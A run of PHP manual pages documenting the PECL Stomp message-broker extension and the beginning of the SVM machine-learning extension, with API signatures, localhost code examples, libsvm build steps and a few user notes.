  • Stomp::abort — Rolls back a transaction in progress
  • Stomp::ack — Acknowledges consumption of a message
  • Stomp::begin — Starts a transaction
  • Stomp::commit — Commits a transaction in progress
  • Stomp::__construct — Opens a connection
  • Stomp::__destruct — Closes stomp connection
  • Stomp::error — Gets the last stomp error
  • Stomp::getReadTimeout — Gets read timeout
  • Stomp::getSessionId — Gets the current stomp session ID
  • Stomp::hasFrame — Indicates whether or not there is a frame ready to read
  • Stomp::readFrame — Reads the next frame
  • Stomp::send — Sends a message
  • Stomp::setReadTimeout — Sets read timeout
  • Stomp::subscribe — Registers to listen to a given destination
  • Stomp::unsubscribe — Removes an existing subscription

User Contributed Notes

There are no user contributed notes for this page.


Rolls back a transaction in progress

  • « Stomp
  • Stomp::ack »
  • PHP Manual
  • Stomp
  • Rolls back a transaction in progress

Stomp::abort

stomp_abort

(PECL stomp >= 0.1.0)

Stomp::abort -- stomp_abort — Rolls back a transaction in progress

Description

Object oriented style (method):

public bool Stomp::abort ( string $transaction_id [, array $headers ] )

Procedural style:

bool stomp_abort ( resource $link , string $transaction_id [, array $headers ] )

Rolls back a transaction in progress.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

transaction_id

The transaction to abort.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* begin a transaction */
$stomp->begin('t1');

/* send a message to the queue */
$stomp->send('/queue/foo', 'bar', array('transaction' => 't1'));

/* rollback */
$stomp->abort('t1');

/* close connection */
unset($stomp);
?>

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('tcp://localhost:61613');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, '/queue/foo', 'bar', array('transaction' => 't1'));

/* rollback */
stomp_abort($link, 't1');

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.


Acknowledges consumption of a message

  • « Stomp::abort
  • Stomp::begin »
  • PHP Manual
  • Stomp
  • Acknowledges consumption of a message

Stomp::ack

stomp_ack

(PECL stomp >= 0.1.0)

Stomp::ack -- stomp_ack — Acknowledges consumption of a message

Description

Object oriented style (method):

public bool Stomp::ack ( mixed $msg [, array $headers ] )

Procedural style:

bool stomp_ack ( resource $link , mixed $msg [, array $headers ] )

Acknowledges consumption of a message from a subscription using client acknowledgment.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

msg

The message/messageId to be acknowledged.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

A transaction header may be specified, indicating that the message acknowledgment should be part of the named transaction.

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

Example #1 Object oriented style

<?php

$queue  = '/queue/foo';
$msg    = 'bar';

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* send a message to the queue 'foo' */
$stomp->send($queue, $msg);

/* subscribe to messages from the queue 'foo' */
$stomp->subscribe($queue);

/* read a frame */
$frame = $stomp->readFrame();

if ($frame->body === $msg) {
    /* acknowledge that the frame was received */
    $stomp->ack($frame);
}

/* remove the subscription */
$stomp->unsubscribe($queue);

/* close connection */
unset($stomp);

?>

Example #2 Procedural style

<?php

$queue  = '/queue/foo';
$msg    = 'bar';

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, $queue, $msg, array('transaction' => 't1'));

/* commit a transaction */
stomp_commit($link, 't1');

/* subscribe to messages from the queue 'foo' */
stomp_subscribe($link, $queue);

/* read a frame */
$frame = stomp_read_frame($link);

if ($frame['body'] === $msg) {
    /* acknowledge that the frame was received */
    stomp_ack($link, $frame['headers']['message-id']);
}

/* remove the subscription */
stomp_unsubscribe($link, $queue);

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.


Starts a transaction

  • « Stomp::ack
  • Stomp::commit »
  • PHP Manual
  • Stomp
  • Starts a transaction

Stomp::begin

stomp_begin

(PECL stomp >= 0.1.0)

Stomp::begin -- stomp_begin — Starts a transaction

Description

Object oriented style (method):

public bool Stomp::begin ( string $transaction_id [, array $headers ] )

Procedural style:

bool stomp_begin ( resource $link , string $transaction_id [, array $headers ] )

Starts a transaction.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

transaction_id

The transaction id.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

See stomp_commit() or stomp_abort().

User Contributed Notes

There are no user contributed notes for this page.


Commits a transaction in progress

  • « Stomp::begin
  • Stomp::__construct »
  • PHP Manual
  • Stomp
  • Commits a transaction in progress

Stomp::commit

stomp_commit

(PECL stomp >= 0.1.0)

Stomp::commit -- stomp_commit — Commits a transaction in progress

Description

Object oriented style (method):

public bool Stomp::commit ( string $transaction_id [, array $headers ] )

Procedural style:

bool stomp_commit ( resource $link , string $transaction_id [, array $headers ] )

Commits a transaction in progress.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

transaction_id

The transaction id.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* begin a transaction */
$stomp->begin('t1');

/* send a message to the queue */
$stomp->send('/queue/foo', 'bar', array('transaction' => 't1'));

/* commit */
$stomp->commit('t1');

/* close connection */
unset($stomp);

?>

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('tcp://localhost:61613');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, '/queue/foo', 'bar', array('transaction' => 't1'));

/* commit */
stomp_commit($link, 't1');

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.


Opens a connection

  • « Stomp::commit
  • Stomp::__destruct »
  • PHP Manual
  • Stomp
  • Opens a connection

Stomp::__construct

stomp_connect

(PECL stomp >= 0.1.0)

Stomp::__construct -- stomp_connect — Opens a connection

Description

Object oriented style (constructor):

public Stomp::__construct ([ string $broker = ini_get("stomp.default_broker_uri") [, string $username [, string $password [, array $headers ]]]] )

Procedural style:

resource stomp_connect ([ string $broker = ini_get("stomp.default_broker_uri") [, string $username [, string $password [, array $headers ]]]] )

Opens a connection to a stomp compliant Message Broker.

Parameters

broker

The broker URI

username

The username.

password

The password.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Note:

A transaction header may be specified, indicating that the message acknowledgment should be part of the named transaction.

Changelog

Version | Description
1.0.1 | The headers parameter was added

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* close connection */
unset($stomp);

?>

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.


Closes stomp connection

  • « Stomp::__construct
  • Stomp::error »
  • PHP Manual
  • Stomp
  • Closes stomp connection

Stomp::__destruct

stomp_close

(PECL stomp >= 0.1.0)

Stomp::__destruct -- stomp_close — Closes stomp connection

Description

Object oriented style (destructor):

public bool Stomp::__destruct ( void )

Procedural style:

bool stomp_close ( resource $link )

Closes a previously opened connection.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

See stomp_connect().

User Contributed Notes

There are no user contributed notes for this page.


Gets the last stomp error

  • « Stomp::__destruct
  • Stomp::getReadTimeout »
  • PHP Manual
  • Stomp
  • Gets the last stomp error

Stomp::error

stomp_error

(PECL stomp >= 0.1.0)

Stomp::error -- stomp_error — Gets the last stomp error

Description

Object oriented style (method):

public string Stomp::error ( void )

Procedural style:

string stomp_error ( resource $link )

Gets the last stomp error.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

Return Values

Returns an error string or FALSE if no error occurred.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

var_dump($stomp->error());

if (!$stomp->abort('unknown-transaction', array('receipt' => 'foo'))) {
    var_dump($stomp->error());
}

/* close connection */
unset($stomp);

?>

The above example will output something similar to:

bool(false)
string(43) "Invalid transaction id: unknown-transaction"

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

var_dump(stomp_error($link));

if (!stomp_abort($link, 'unknown-transaction', array('receipt' => 'foo'))) {
    var_dump(stomp_error($link));
}

/* close connection */
stomp_close($link);

?>

The above example will output something similar to:

bool(false)
string(43) "Invalid transaction id: unknown-transaction"

User Contributed Notes

There are no user contributed notes for this page.


Gets read timeout

  • « Stomp::error
  • Stomp::getSessionId »
  • PHP Manual
  • Stomp
  • Gets read timeout

Stomp::getReadTimeout

stomp_get_read_timeout

(PECL stomp >= 0.3.0)

Stomp::getReadTimeout -- stomp_get_read_timeout — Gets read timeout

Description

Object oriented style (method):

public array Stomp::getReadTimeout ( void )

Procedural style:

array stomp_get_read_timeout ( resource $link )

Gets read timeout

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

Return Values

Returns an array with 2 elements: sec and usec.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

var_dump($stomp->getReadTimeout());

/* close connection */
unset($stomp);

?>

The above example will output something similar to:

array(2) {
  ["sec"]=>
  int(2)
  ["usec"]=>
  int(0)
}

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

var_dump(stomp_get_read_timeout($link));

/* close connection */
stomp_close($link);

?>

The above example will output something similar to:

array(2) {
  ["sec"]=>
  int(2)
  ["usec"]=>
  int(0)
}

User Contributed Notes

There are no user contributed notes for this page.


Gets the current stomp session ID

  • « Stomp::getReadTimeout
  • Stomp::hasFrame »
  • PHP Manual
  • Stomp
  • Gets the current stomp session ID

Stomp::getSessionId

stomp_get_session_id

(PECL stomp >= 0.1.0)

Stomp::getSessionId -- stomp_get_session_id — Gets the current stomp session ID

Description

Object oriented style (method):

public string Stomp::getSessionId ( void )

Procedural style:

string stomp_get_session_id ( resource $link )

Gets the current stomp session ID.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

Return Values

string session id on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

var_dump($stomp->getSessionId());

/* close connection */
unset($stomp);

?>

The above example will output something similar to:

string(35) "ID:php.net-52873-1257291895530-4:14"

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

var_dump(stomp_get_session_id($link));

/* close connection */
stomp_close($link);

?>

The above example will output something similar to:

string(35) "ID:php.net-52873-1257291895530-4:14"

User Contributed Notes

There are no user contributed notes for this page.


Indicates whether or not there is a frame ready to read

  • « Stomp::getSessionId
  • Stomp::readFrame »
  • PHP Manual
  • Stomp
  • Indicates whether or not there is a frame ready to read

Stomp::hasFrame

stomp_has_frame

(PECL stomp >= 0.1.0)

Stomp::hasFrame -- stomp_has_frame — Indicates whether or not there is a frame ready to read

Description

Object oriented style (method):

public bool Stomp::hasFrame ( void )

Procedural style:

bool stomp_has_frame ( resource $link )

Indicates whether or not there is a frame ready to read.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

Return Values

Returns TRUE if a frame is ready to read, or FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Reads the next frame

  • « Stomp::hasFrame
  • Stomp::send »
  • PHP Manual
  • Stomp
  • Reads the next frame

Stomp::readFrame

stomp_read_frame

(PECL stomp >= 0.1.0)

Stomp::readFrame -- stomp_read_frame — Reads the next frame

Description

Object oriented style (method):

public stompframe Stomp::readFrame ([ string $class_name = "stompFrame" ] )

Procedural style:

array stomp_read_frame ( resource $link )

Reads the next frame. It is possible to instantiate an object of a specific class, and pass parameters to that class's constructor.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

class_name

The name of the class to instantiate. If not specified, a stompFrame object is returned.

Return Values

Note:

A transaction header may be specified, indicating that the message acknowledgment should be part of the named transaction.

Changelog

Version | Description
Stomp 0.4.0 | class_name parameter was added.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* subscribe to messages from the queue 'foo' */
$stomp->subscribe('/queue/foo');

/* read a frame */
var_dump($stomp->readFrame());

/* close connection */
unset($stomp);

?>

The above example will output something similar to:

object(StompFrame)#2 (3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["headers"]=>
  array(5) {
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:2:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257226805828"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
  ["body"]=>
  string(3) "bar"
}

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* subscribe to messages from the queue 'foo' */
stomp_subscribe($link, '/queue/foo');

/* read a frame */
$frame = stomp_read_frame($link);

/* close connection */
stomp_close($link);

?>

The above example will output something similar to:

array(3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["body"]=>
  string(3) "bar"
  ["headers"]=>
  array(6) {
    ["transaction"]=>
    string(2) "t1"
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:3:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257227037059"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Sends a message

  • « Stomp::readFrame
  • Stomp::setReadTimeout »
  • PHP Manual
  • Stomp
  • Sends a message

Stomp::send

stomp_send

(PECL stomp >= 0.1.0)

Stomp::send -- stomp_send — Sends a message

Description

Object oriented style (method):

public bool Stomp::send ( string $destination , mixed $msg [, array $headers ] )

Procedural style:

bool stomp_send ( resource $link , string $destination , mixed $msg [, array $headers ] )

Sends a message to the Message Broker.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

destination

Where to send the message

msg

Message to send.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

A transaction header may be specified, indicating that the message acknowledgment should be part of the named transaction.

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

See stomp_ack().

User Contributed Notes

james dot mk dot green at gmail dot com 22-Aug-2011 01:14
Without a receipt header your application will fire messages potentially faster than the broker can receive them at. The broker may issue failure notices however STOMP being asynchronous your client won't get to see it.

Without a receipt ActiveMQ (5.5.0) with ProducerFlowControl turned on drops messages (even persistent ones) and my application knows nothing about it (send() returned true). With receipt header specified the STOMP library handles the wait for the receipt acknowledgement for you - you are essentially automatically throttled.


Sets read timeout

  • « Stomp::send
  • Stomp::subscribe »
  • PHP Manual
  • Stomp
  • Sets read timeout

Stomp::setReadTimeout

stomp_set_read_timeout

(PECL stomp >= 0.3.0)

Stomp::setReadTimeout -- stomp_set_read_timeout — Sets read timeout

Description

Object oriented style (method):

public void Stomp::setReadTimeout ( int $seconds [, int $microseconds ] )

Procedural style:

void stomp_set_read_timeout ( resource $link , int $seconds [, int $microseconds ] )

Sets read timeout.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

seconds

The seconds part of the timeout to be set.

microseconds

The microseconds part of the timeout to be set.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

$stomp->setReadTimeout(10);

/* close connection */
unset($stomp);

?>

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

stomp_set_read_timeout($link, 10);

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.


Registers to listen to a given destination

  • « Stomp::setReadTimeout
  • Stomp::unsubscribe »
  • PHP Manual
  • Stomp
  • Registers to listen to a given destination

Stomp::subscribe

stomp_subscribe

(PECL stomp >= 0.1.0)

Stomp::subscribe -- stomp_subscribe — Registers to listen to a given destination

Description

Object oriented style (method):

public bool Stomp::subscribe ( string $destination [, array $headers ] )

Procedural style:

bool stomp_subscribe ( resource $link , string $destination [, array $headers ] )

Registers to listen to a given destination.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

destination

Destination to subscribe to.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

See stomp_ack().

User Contributed Notes

There are no user contributed notes for this page.


Removes an existing subscription

  • « Stomp::subscribe
  • StompFrame »
  • PHP Manual
  • Stomp
  • Removes an existing subscription

Stomp::unsubscribe

stomp_unsubscribe

(PECL stomp >= 0.1.0)

Stomp::unsubscribe -- stomp_unsubscribe — Removes an existing subscription

Description

Object oriented style (method):

public bool Stomp::unsubscribe ( string $destination [, array $headers ] )

Procedural style:

bool stomp_unsubscribe ( resource $link , string $destination [, array $headers ] )

Removes an existing subscription.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

destination

Subscription to remove.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

See stomp_ack().

User Contributed Notes

There are no user contributed notes for this page.


The StompFrame class

(PECL stomp >= 0.1.0)

Introduction

Represents a message which was sent or received from a Stomp compliant Message Broker.

Class synopsis

StompFrame {
/* Properties */
public $command ;
public $headers ;
public $body ;
/* Methods */
__construct ([ string $command [, array $headers [, string $body ]]] )
}

Properties

command

Frame command.

headers

Frame headers (array).

body

Frame body.

Table of Contents

  • StompFrame::__construct — Constructor

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • « StompFrame
  • StompException »
  • PHP Manual
  • StompFrame
  • Constructor

StompFrame::__construct

(PECL stomp >= 0.1.0)

StompFrame::__construct — Constructor

Description

StompFrame::__construct ([ string $command [, array $headers [, string $body ]]] )

Constructor.

Parameters

command

Frame command

headers

Frame headers (array).

body

Frame body.

User Contributed Notes

There are no user contributed notes for this page.


The StompException class

(PECL stomp >= 0.1.0)

Introduction

Represents an error raised by the stomp extension. See Exceptions for more information about Exceptions in PHP.

Class synopsis

StompException extends Exception {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
/* Methods */
public string getDetails ( void )
}

Table of Contents

  • StompException::getDetails — Get exception details

User Contributed Notes

There are no user contributed notes for this page.


Get exception details

  • « StompException
  • SVM »
  • PHP Manual
  • StompException
  • Get exception details

StompException::getDetails

(PECL stomp >= 0.1.0)

StompException::getDetails — Get exception details

Description

public string StompException::getDetails ( void )

Get exception details.

Return Values

string containing the error details.

User Contributed Notes

There are no user contributed notes for this page.


Support Vector Machine

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Examples
  • SVM — The SVM class
    • SVM::__construct — Construct a new SVM object
    • SVM::crossvalidate — Test training params on subsets of the training data.
    • SVM::getOptions — Return the current training parameters
    • SVM::setOptions — Set training parameters
    • SVM::train — Create a SVMModel based on training data
  • SVMModel — The SVMModel class
    • SVMModel::checkProbabilityModel — Returns true if the model has probability information
    • SVMModel::__construct — Construct a new SVMModel
    • SVMModel::getLabels — Get the labels the model was trained on
    • SVMModel::getNrClass — Returns the number of classes the model was trained with
    • SVMModel::getSvmType — Get the SVM type the model was trained with
    • SVMModel::getSvrProbability — Get the sigma value for regression types
    • SVMModel::load — Load a saved SVM Model
    • SVMModel::predict_probability — Return class probabilities for previous unseen data
    • SVMModel::predict — Predict a value for previously unseen data
    • SVMModel::save — Save a model to a file

User Contributed Notes

There are no user contributed notes for this page.


Introduction

LibSVM is an efficient solver for SVM classification and regression problems. The svm extension wraps this in a PHP interface for easy use in PHP scripts.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Libsvm itself is required, and is available through some package management - libsvm-devel for RPM based system or libsvm-dev for Debian based ones. Alternatively it is available direct from the website. If installing from the » official website then some steps will need to be taken as the package does not install automatically. For example, assuming the latest version is 3.1:

wget http://www.csie.ntu.edu.tw/~cjlin/cgi-bin/libsvm.cgi?+http://www.csie.ntu.edu.tw/~cjlin/libsvm+tar.gz
tar xvzf libsvm-3.1.tar.gz
cd libsvm-3.1
make lib
cp libsvm.so.1 /usr/lib
ln -s libsvm.so.1 libsvm.so
ldconfig
ldconfig --print | grep libsvm

This last step should show libsvm is installed.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/svm

User Contributed Notes

There are no user contributed notes for this page.


Examples

The basic process is to define parameters, supply training data to generate a model on, then make predictions based on the model. There are a default set of parameters that should get some results with most any input, so we'll start by looking at the data.

Data is supplied in either a file, a stream, or as an array. If supplied in a file or a stream, it must contain one line per training example, which must be formatted as an integer class (usually 1 and -1) followed by a series of feature/value pairs, in increasing feature order. The features are integers, the values floats, usually scaled 0-1. For example:

-1 1:0.43 3:0.12 9284:0.2

In a document classification problem, say a spam checker, each line would represent a document. There would be two classes, -1 for spam, 1 for ham. Each feature would represent some word, and the value would represent that importance of that word to the document (perhaps the frequency count, with the total scaled to unit length). Features that were 0 (e.g. the word did not appear in the document at all) would simply not be included.

In array mode, the data must be passed as an array of arrays. Each sub-array must have the class as the first element, then key => value sets for the feature values pairs.

This data is passed to the SVM class's train function, which will return an SVM model is successful.

Once a model has been generated, it can be used to make predictions about previously unseen data. This can be passed as an array to the model's predict function, in the same format as before, but without the label. The response will be the class.

Models can be saved and restored as required, using the save and load functions, which both take a file location.

Example #1 Train from array

<?php
$data = array(
    array(-1, 1 => 0.43, 3 => 0.12, 9284 => 0.2),
    array(1, 1 => 0.22, 5 => 0.01, 94 => 0.11),
);

$svm = new SVM();
$model = $svm->train($data);

$data = array(1 => 0.43, 3 => 0.12, 9284 => 0.2);
$result = $model->predict($data);
var_dump($result);
$model->save('model.svm');
?>

The above example will output something similar to:

int(-1)

Example #2 Train from a file

<?php
$svm = new SVM();
$model = $svm->train("traindata.txt");
?>

User Contributed Notes

6765419 at qq dot com 02-Nov-2013 05:49
$data = array(
            array(-1, 1 =>170, 2 => 60),//-1表示男生，key 1表示身高，key 2表示体重
            array(-1, 1 =>180, 2 => 70),
            array(1, 1 => 160, 2 => 46),//1表示女生，key 1表示身高，key 2表示体重
            array(1, 1 => 155, 2 => 40),
        );
$svm = new SVM();
$model = $svm->train($data);
$data = array( 1 => 165, 2 =>60);//测试数据
$result = $model->predict($data);
echo var_export($result);
return;


The SVM class

(PECL svm >= 0.1.0)

Introduction

Class synopsis

SVM {
/* Constants */
const integer C_SVC = 0 ;
const integer NU_SVC = 1 ;
const integer ONE_CLASS = 2 ;
const integer EPSILON_SVR = 3 ;
const integer NU_SVR = 4 ;
const integer KERNEL_LINEAR = 0 ;
const integer KERNEL_POLY = 1 ;
const integer KERNEL_RBF = 2 ;
const integer KERNEL_SIGMOID = 3 ;
const integer KERNEL_PRECOMPUTED = 4 ;
const integer OPT_TYPE = 101 ;
const integer OPT_KERNEL_TYPE = 102 ;
const integer OPT_DEGREE = 103 ;
const integer OPT_SHRINKING = 104 ;
const integer OPT_PROPABILITY = 105 ;
const integer OPT_GAMMA = 201 ;
const integer OPT_NU = 202 ;
const integer OPT_EPS = 203 ;
const integer OPT_P = 204 ;
const integer OPT_COEF_ZERO = 205 ;
const integer OPT_C = 206 ;
const integer OPT_CACHE_SIZE = 207 ;
/* Methods */
public __construct ( void )
public float svm::crossvalidate ( array $problem , int $number_of_folds )
public array getOptions ( void )
public bool setOptions ( array $params )
public SVMModel svm::train ( array $problem [, array $weights ] )
}

Predefined Constants

SVM Constants

SVM::C_SVC

The basic C_SVC SVM type. The default, and a good starting point

SVM::NU_SVC

The NU_SVC type uses a different, more flexible, error weighting

SVM::ONE_CLASS

One class SVM type. Train just on a single class, using outliers as negative examples

SVM::EPSILON_SVR

A SVM type for regression (predicting a value rather than just a class)

SVM::NU_SVR

A NU style SVM regression type

SVM::KERNEL_LINEAR

A very simple kernel, can work well on large document classification problems

SVM::KERNEL_POLY

A polynomial kernel

SVM::KERNEL_RBF

The common Gaussian RBD kernel. Handles non-linear problems well and is a good default for classification

SVM::KERNEL_SIGMOID

A kernel based on the sigmoid function. Using this makes the SVM very similar to a two layer sigmoid based neural network

SVM::KERNEL_PRECOMPUTED

A precomputed kernel - currently unsupported.

SVM::OPT_TYPE

The options key for the SVM type

SVM::OPT_KERNEL_TYPE

The options key for the kernel type

SVM::OPT_DEGREE

SVM::OPT_SHRINKING

Training parameter, boolean, for whether to use the shrinking heuristics

SVM::OPT_PROBABILITY

Training parameter, boolean, for whether to collect and use probability estimates

SVM::OPT_GAMMA

Algorithm parameter for Poly, RBF and Sigmoid kernel types.

SVM::OPT_NU

The option key for the nu parameter, only used in the NU_ SVM types

SVM::OPT_EPS

The option key for the Epsilon parameter, used in epsilon regression

SVM::OPT_P

Training parameter used by Episilon SVR regression

SVM::OPT_COEF_ZERO

Algorithm parameter for poly and sigmoid kernels

SVM::OPT_C

The option for the cost parameter that controls tradeoff between errors and generality - effectively the penalty for misclassifying training examples.

SVM::OPT_CACHE_SIZE

Memory cache size, in MB

Table of Contents

  • SVM::__construct — Construct a new SVM object
  • SVM::crossvalidate — Test training params on subsets of the training data.
  • SVM::getOptions — Return the current training parameters
  • SVM::setOptions — Set training parameters
  • SVM::train — Create a SVMModel based on training data

User Contributed Notes

There are no user contributed notes for this page.


Construct a new SVM object

  • « SVM
  • SVM::crossvalidate »
  • PHP Manual
  • SVM
  • Construct a new SVM object

SVM::__construct

(PECL svm >= 0.1.0)

SVM::__construct — Construct a new SVM object

Description

public SVM::__construct ( void )

Constructs a new SVM object ready to accept training data.

Parameters

This function has no parameters.

Return Values

Throws SVMException if the libsvm library could not be loaded

User Contributed Notes

There are no user contributed notes for this page.


Test training params on subsets of the training data.

  • « SVM::__construct
  • SVM::getOptions »
  • PHP Manual
  • SVM
  • Test training params on subsets of the training data.

SVM::crossvalidate

(PECL svm >= 0.1.0)

SVM::crossvalidate — Test training params on subsets of the training data.

Description

public float svm::crossvalidate ( array $problem , int $number_of_folds )

Crossvalidate can be used to test the effectiveness of the current parameter set on a subset of the training data. Given a problem set and a n "folds", it separates the problem set into n subsets, and the repeatedly trains on one subset and tests on another. While the accuracy will generally be lower than a SVM trained on the enter data set, the accuracy score returned should be relatively useful, so it can be used to test different training parameters.

Parameters

problem

The problem data. This can either be in the form of an array, the URL of an SVMLight formatted file, or a stream to an opened SVMLight formatted datasource.

number_of_folds

The number of sets the data should be divided into and cross tested. A higher number means smaller training sets and less reliability. 5 is a good number to start with.

Return Values

The correct percentage, expressed as a floating point number from 0-1. In the case of NU_SVC or EPSILON_SVR kernels the mean squared error will returned instead.

See Also

  • SVM::train() - Create a SVMModel based on training data

User Contributed Notes

kadirerturk at gmail dot com 11-Oct-2014 02:14
$svm = new SVM();
$cross = $svm->crossvalidate("/svmScaled.data" , 5); // 5 fold cross val
var_dump($cross); //


Return the current training parameters

  • « SVM::crossvalidate
  • SVM::setOptions »
  • PHP Manual
  • SVM
